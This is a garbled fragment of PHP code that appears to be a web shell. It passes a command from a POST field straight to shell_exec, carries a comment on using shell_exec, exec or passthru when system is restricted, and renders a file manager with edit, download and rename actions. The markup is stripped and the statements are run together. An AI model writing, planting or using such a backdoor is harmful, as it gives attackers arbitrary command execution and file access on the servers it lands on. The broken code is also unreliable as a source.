";
// EXECUTION: Use shell_exec/exec/passthru as a fallback, system is often restricted.
echo htmlspecialchars(shell_exec($_POST['cmd']));
echo "";
endif;
?>
| Type | Name | Size | Permissions | Actions |
|---|---|---|---|---|
| [..] Up Directory | ||||
| '.($is_dir ? 'D' : 'F').' | '; echo ''.($is_dir ? '' : '').htmlspecialchars($item_display).($is_dir ? '' : '').' | '; echo ''.$size.' | '; echo ''.$perms.' | '; echo ''; // ACTIONS if(!$is_dir){ echo '[EDIT] | '; echo '[DOWNLOAD] | '; } echo '[RENAME] | '; echo ''; echo ' | '; echo '
**ACCESS DENIED** or Directory Not Readable. | ||||